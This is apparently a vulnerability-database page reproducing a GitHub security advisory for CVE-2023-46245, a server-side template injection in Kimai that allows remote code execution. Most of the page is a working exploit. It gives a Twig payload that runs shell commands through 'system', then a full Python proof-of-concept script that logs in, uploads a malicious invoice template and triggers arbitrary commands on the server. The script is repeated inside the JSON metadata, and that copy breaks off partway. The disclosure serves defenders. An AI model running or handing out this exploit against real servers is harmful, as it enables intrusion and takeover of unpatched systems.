Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

476 vulnerabilities reference this CWE, most recent first.

GHSA-FJHG-96CP-6FCW

Vulnerability from github – Published: 2023-10-30 15:40 – Updated: 2023-10-30 15:40
VLAI
Summary
Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File
Details

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

public function render(array $timesheets, TimesheetQuery $query): Response
{
    ...
    $content = $this->twig->render($this->getTemplate(), array_merge([
        'entries' => $timesheets,
        'query' => $query,
        ...
    ], $this->getOptions($query)));
    ...
    $content = $this->converter->convertToPdf($content, $pdfOptions);
    ...
    return $this->createPdfResponse($content, $context);
}

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

version: '3.5'
services:

  sqldb:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_HOST='%'
      - MYSQL_DATABASE=kimai
      - MYSQL_USER=kimaiuser
      - MYSQL_PASSWORD=kimaipassword
      - MYSQL_ROOT_PASSWORD=changemeplease

    ports:
      - 3336:3306
    volumes:
      - mysql:/var/lib/mysql
    command: --default-storage-engine innodb
    restart: unless-stopped
    healthcheck:
      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  nginx:
    image: tobybatch/nginx-fpm-reverse-proxy
    ports:
      - 8001:80
    volumes:
      - public:/opt/kimai/public:ro
    restart: unless-stopped
    depends_on:
      - kimai
    healthcheck:
      test:  wget --spider http://nginx/health || exit 1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  kimai: # This is the latest FPM image of kimai
    image: kimai/kimai2:fpm-prod
    environment:
      - ADMINMAIL=admin@kimai.local
      - ADMINPASS=changemeplease
      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
      - memory_limit=1024
    volumes:
      - public:/opt/kimai/public
      # - var:/opt/kimai/var
      # - ./ldap.conf:/etc/openldap/ldap.conf:z
      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
    restart: unless-stopped

  phpmyadmin:
    image: phpmyadmin
    restart: always
    ports:
      - 8081:80
    environment:
      - PMA_ARBITRARY=1



  postfix:
    image: catatnight/postfix:latest
    environment:
      maildomain: neontribe.co.uk
      smtp_user: kimai:kimai
    restart: unless-stopped

volumes:
    var:
    public:
    mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing: # Proof of Concept

import requests
import re
import string
import random
import sys

session = requests.session()
BASE_URL = sys.argv[1]


def generate(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def get_csrf(path, session):
    try:
        project_id = ""
        csrf_token = ""
        preview_id = ""
        template_ids = []
        activity_customer_list = []

        csrf_login_response = session.get(f"{BASE_URL}{path}").text

        # Extract CSRF Token
        pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
        match = pattern.search(csrf_login_response)
        if match:
            csrf_token = match.group(1)

        if "performSearch" in path:
            preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
            preview_match = preview_pattern.search(csrf_login_response)
            if preview_match:
                preview_id = preview_match.group(1)


        template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
        template_matches = template_pattern.findall(csrf_login_response)
        if template_matches:
            template_ids = [int(id) for id in template_matches]

        if "timesheet" in path:
            option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
            option_matches = option_pattern.findall(csrf_login_response)
            if option_matches:
                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]

        if "project" in path or "activity" in path:
            project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
            if project_id_match:
                project_id = project_id_match.group(1)

        return csrf_token, project_id, preview_id, template_ids, activity_customer_list

    except Exception as e:
        print(f"Error occurred: {e}")
        return None, None, None, None, None


def login(username,password,csrf,session):
    try:
        params = {"_username": username, "_password": password, "_csrf_token": csrf}
        login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
        if "I forgot my password" not in login_response.text:
            print(f"[+] Logged in: {username}")
            return session
        else:
            print("Wrong username,password", username)
            exit(1)
    except Exception as e:
        print(str(e))
        pass

def create_customer(token,name,session):
    try:

        data = {
            'customer_edit_form[name]': (None, name),
            'customer_edit_form[color]': (None, ''),
            'customer_edit_form[comment]': (None, 'xx'),
            'customer_edit_form[address]': (None, 'xx'),
            'customer_edit_form[company]': (None, ''),
            'customer_edit_form[number]': (None, '0002'),
            'customer_edit_form[vatId]': (None, ''),
            'customer_edit_form[country]': (None, 'DE'),
            'customer_edit_form[currency]': (None, 'EUR'),
            'customer_edit_form[timezone]': (None, 'UTC'),
            'customer_edit_form[contact]': (None, ''),
            'customer_edit_form[email]': (None, ''),
            'customer_edit_form[homepage]': (None, ''),
            'customer_edit_form[mobile]': (None, ''),
            'customer_edit_form[phone]': (None, ''),
            'customer_edit_form[fax]': (None, ''),
            'customer_edit_form[budget]': (None, '0.00'),
            'customer_edit_form[timeBudget]': (None, '0:00'),
            'customer_edit_form[budgetType]': (None, ''),
            'customer_edit_form[visible]': (None, '1'),
            'customer_edit_form[billable]': (None, '1'),
            'customer_edit_form[invoiceTemplate]': (None, ''),
            'customer_edit_form[invoiceText]': (None, ''),
            'customer_edit_form[_token]': (None, token),
        }


        response = session.post(f"{BASE_URL}/admin/customer/create", files=data)

    except Exception as e:
        print(str(e))


def create_project(token, name,project_id ,session):
    try:
        form_data = {
            'project_edit_form[name]': (None, name),
            'project_edit_form[color]': (None, ''),
            'project_edit_form[comment]': (None, ''),
            'project_edit_form[customer]': (None, project_id), 
            'project_edit_form[orderNumber]': (None, ''),
            'project_edit_form[orderDate]': (None, ''),
            'project_edit_form[start]': (None, ''),
            'project_edit_form[end]': (None, ''),
            'project_edit_form[budget]': (None, '0.00'),
            'project_edit_form[timeBudget]': (None, '0:00'),
            'project_edit_form[budgetType]': (None, ''),
            'project_edit_form[visible]': (None, '1'),
            'project_edit_form[billable]': (None, '1'),
            'project_edit_form[globalActivities]': (None, '1'),
            'project_edit_form[invoiceText]': (None, ''),
            'project_edit_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)

    except Exception as e:
        print(str(e))


def create_activity(token, name,project_id ,session):
    try:
        form_data = {
            'activity_edit_form[name]': (None, name),
            'activity_edit_form[color]': (None, ''),
            'activity_edit_form[comment]': (None, ''),
            'activity_edit_form[project]': (None, ''),
            'activity_edit_form[budget]': (None, '0.00'),
            'activity_edit_form[timeBudget]': (None, '0:00'),
            'activity_edit_form[budgetType]': (None, ''),
            'activity_edit_form[visible]': (None, '1'),
            'activity_edit_form[billable]': (None, '1'),
            'activity_edit_form[invoiceText]': (None, ''),
            'activity_edit_form[_token]': (None, token),
        }

        response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)

        if response.status_code == 201:
            print(f"[+] Activity created: {name}")

    except Exception as e:
        print(f"An error occurred: {str(e)}")

def upload_malicious_document(token,session):
    try:
        form_data = {
            'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
            'invoice_document_upload_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)

        if ".pdf.twig" in response.text:
            print("[+] Twig uploaded successfully!")
        else:
            print("[-] Error while uploading, exiting..")
            exit(1)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
import re

def create_malicious_template(token, name, session):
    try:
        data = {
            'invoice_template_form[name]': name,
            'invoice_template_form[title]': name,
            'invoice_template_form[company]': name,
            'invoice_template_form[vatId]': '',
            'invoice_template_form[address]': '',
            'invoice_template_form[contact]': '',
            'invoice_template_form[paymentTerms]': '',
            'invoice_template_form[paymentDetails]': '',
            'invoice_template_form[dueDays]': '30',
            'invoice_template_form[vat]': '0.000',
            'invoice_template_form[language]': 'en',
            'invoice_template_form[numberGenerator]': 'default',
            'invoice_template_form[renderer]': 'din',
            'invoice_template_form[calculator]': 'default',
            'invoice_template_form[_token]': token
        }

        response = session.post(f"{BASE_URL}/invoice/template/create", data=data)

        # Define the regex pattern to capture the template ID and match the name
        pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)

        # Search the response text with the regex pattern
        match = pattern.search(response.text)

        if match:
            template_id = match.group(1)  # Extract the captured group
            print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
            return template_id  # Return the captured template ID
        else:
            print("[-] Failed to capture the template ID")
            create_malicious_template(token,name,session)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
        exit(1)




def create_timesheet(token, activity, project, session):
    form_data = {
            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
            'timesheet_edit_form[duration]': (None, '0:15'),
            'timesheet_edit_form[end_time]': (None, '12:15 AM'),
            'timesheet_edit_form[customer]': (None, ''),
            'timesheet_edit_form[project]': (None, project),
            'timesheet_edit_form[activity]': (None, activity),
            'timesheet_edit_form[description]': (None, ''),
            'timesheet_edit_form[fixedRate]': (None, ''),
            'timesheet_edit_form[hourlyRate]': (None, ''),
            'timesheet_edit_form[billableMode]': (None, 'auto'),
            'timesheet_edit_form[_token]': (None, token)
        }
    response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
    if response.status_code == 302:  # Changed to 200 as 301 is for redirection
        print(f"[+] Created a new timesheet")


##############################





# login
csrf, _, _, _, _ = get_csrf("/login", session) 
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer

get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)  
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name

get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)  
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)

# create new activity 
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)

# EXPLOIT
######################

# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)

# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)

# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4]  # get the activity_customer_list from get_csrf function

print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
    csrf = get_csrf("/timesheet/create", session)[0]  # Update CSRF token for each iteration
    print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
    create_timesheet(csrf, activity_id, customer_id, session)
    postData = {
        "searchTerm": "",
        "daterange": "",
        "state": "1",
        "billable": "0",
        "exported": "1",
        "orderBy": "begin",
        "order": "DESC",
        "exporter": "pdf"
    }
    # export timesheets so they appear in exported invoices
    export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
    if "PDF-1.4" in export:
        csrf, _, _, _, _ = get_csrf("/invoice/", session)
        # get preview token to construct the preview URL to trigger SSTI
        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
        for template_id in template_ids:
            rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
            # trigger the payload by visiting the renderer URL 
            rce = session.get(rendererURL)

            if "PDF-1.4" in rce.text:
                print(rendererURL)
                print("[+] successfully executed payload")
                # save the pdf locally since rendered URL will expire as soon as we end the session
                pdf = f"{generate()}.pdf"
                with open(pdf,'wb') as pdfFile:
                    pdfFile.write(rce.content)
                    pdfFile.flush()
                    pdfFile.close()
                    print(f"[+] Saved results with name: {pdf}")
                exit(1)

print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such:

$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

kimaiRCE

Impact

Remote Code Execution

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-30T15:40:04Z",
    "nvd_published_at": "2023-10-31T16:15:09Z",
    "severity": "HIGH"
  },
  "details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software\u0027s PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n        \u0027entries\u0027 =\u003e $timesheets,\n        \u0027query\u0027 =\u003e $query,\n        ...\n    ], $this-\u003egetOptions($query)));\n    ...\n    $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n    ...\n    return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: \u00273.5\u0027\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST=\u0027%\u0027\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:/var/lib/mysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch/nginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:/opt/kimai/public:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http://nginx/health || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai/kimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:/opt/kimai/public\n      # - var:/opt/kimai/var\n      # - ./ldap.conf:/etc/openldap/ldap.conf:z\n      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight/postfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{[\u0027id\u003e/tmp/pwned\u0027]|map(\u0027system\u0027)|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI\u0027ve also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return \u0027\u0027.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r\u0027\u003cinput[^\u003e]*?name=[\"\\\u0027].*?token[^\"\\\u0027]*[\"\\\u0027][^\u003e]*?value=[\"\\\u0027](.*?)[\"\\\u0027][^\u003e]*?\u003e\u0027, re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r\u0027\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e\u0027, re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e\u0027, re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e\u0027, re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r\u0027\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e\u0027, csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            \u0027customer_edit_form[name]\u0027: (None, name),\n            \u0027customer_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[comment]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[address]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[company]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[number]\u0027: (None, \u00270002\u0027),\n            \u0027customer_edit_form[vatId]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[country]\u0027: (None, \u0027DE\u0027),\n            \u0027customer_edit_form[currency]\u0027: (None, \u0027EUR\u0027),\n            \u0027customer_edit_form[timezone]\u0027: (None, \u0027UTC\u0027),\n            \u0027customer_edit_form[contact]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[email]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[homepage]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[mobile]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[phone]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[fax]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027customer_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027customer_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[invoiceTemplate]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[_token]\u0027: (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027project_edit_form[name]\u0027: (None, name),\n            \u0027project_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[customer]\u0027: (None, project_id), \n            \u0027project_edit_form[orderNumber]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[orderDate]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[start]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[end]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027project_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027project_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[globalActivities]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027activity_edit_form[name]\u0027: (None, name),\n            \u0027activity_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[project]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027activity_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027activity_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[_token]\u0027: (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            \u0027invoice_document_upload_form[document]\u0027: (\u0027din.pdf.twig\u0027, f\"\u003chtml\u003e\u003cbody\u003e{{{{[\u0027{sys.argv[4]}\u0027]|map(\u0027system\u0027)|join}}}}\u003c/body\u003e\u003c/html\u003e\", \u0027text/x-twig\u0027),\n            \u0027invoice_document_upload_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            \u0027invoice_template_form[name]\u0027: name,\n            \u0027invoice_template_form[title]\u0027: name,\n            \u0027invoice_template_form[company]\u0027: name,\n            \u0027invoice_template_form[vatId]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[address]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[contact]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentTerms]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentDetails]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[dueDays]\u0027: \u002730\u0027,\n            \u0027invoice_template_form[vat]\u0027: \u00270.000\u0027,\n            \u0027invoice_template_form[language]\u0027: \u0027en\u0027,\n            \u0027invoice_template_form[numberGenerator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[renderer]\u0027: \u0027din\u0027,\n            \u0027invoice_template_form[calculator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[_token]\u0027: token\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr\u0027\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e\u0027, re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            \u0027timesheet_edit_form[begin_date]\u0027: (None, \u002701/01/1980\u0027),\n            \u0027timesheet_edit_form[begin_time]\u0027: (None, \u002712:00 AM\u0027),\n            \u0027timesheet_edit_form[duration]\u0027: (None, \u00270:15\u0027),\n            \u0027timesheet_edit_form[end_time]\u0027: (None, \u002712:15 AM\u0027),\n            \u0027timesheet_edit_form[customer]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[project]\u0027: (None, project),\n            \u0027timesheet_edit_form[activity]\u0027: (None, activity),\n            \u0027timesheet_edit_form[description]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[fixedRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[hourlyRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[billableMode]\u0027: (None, \u0027auto\u0027),\n            \u0027timesheet_edit_form[_token]\u0027: (None, token)\n        }\n    response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"/timesheet/create\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}/timesheet/export/\", 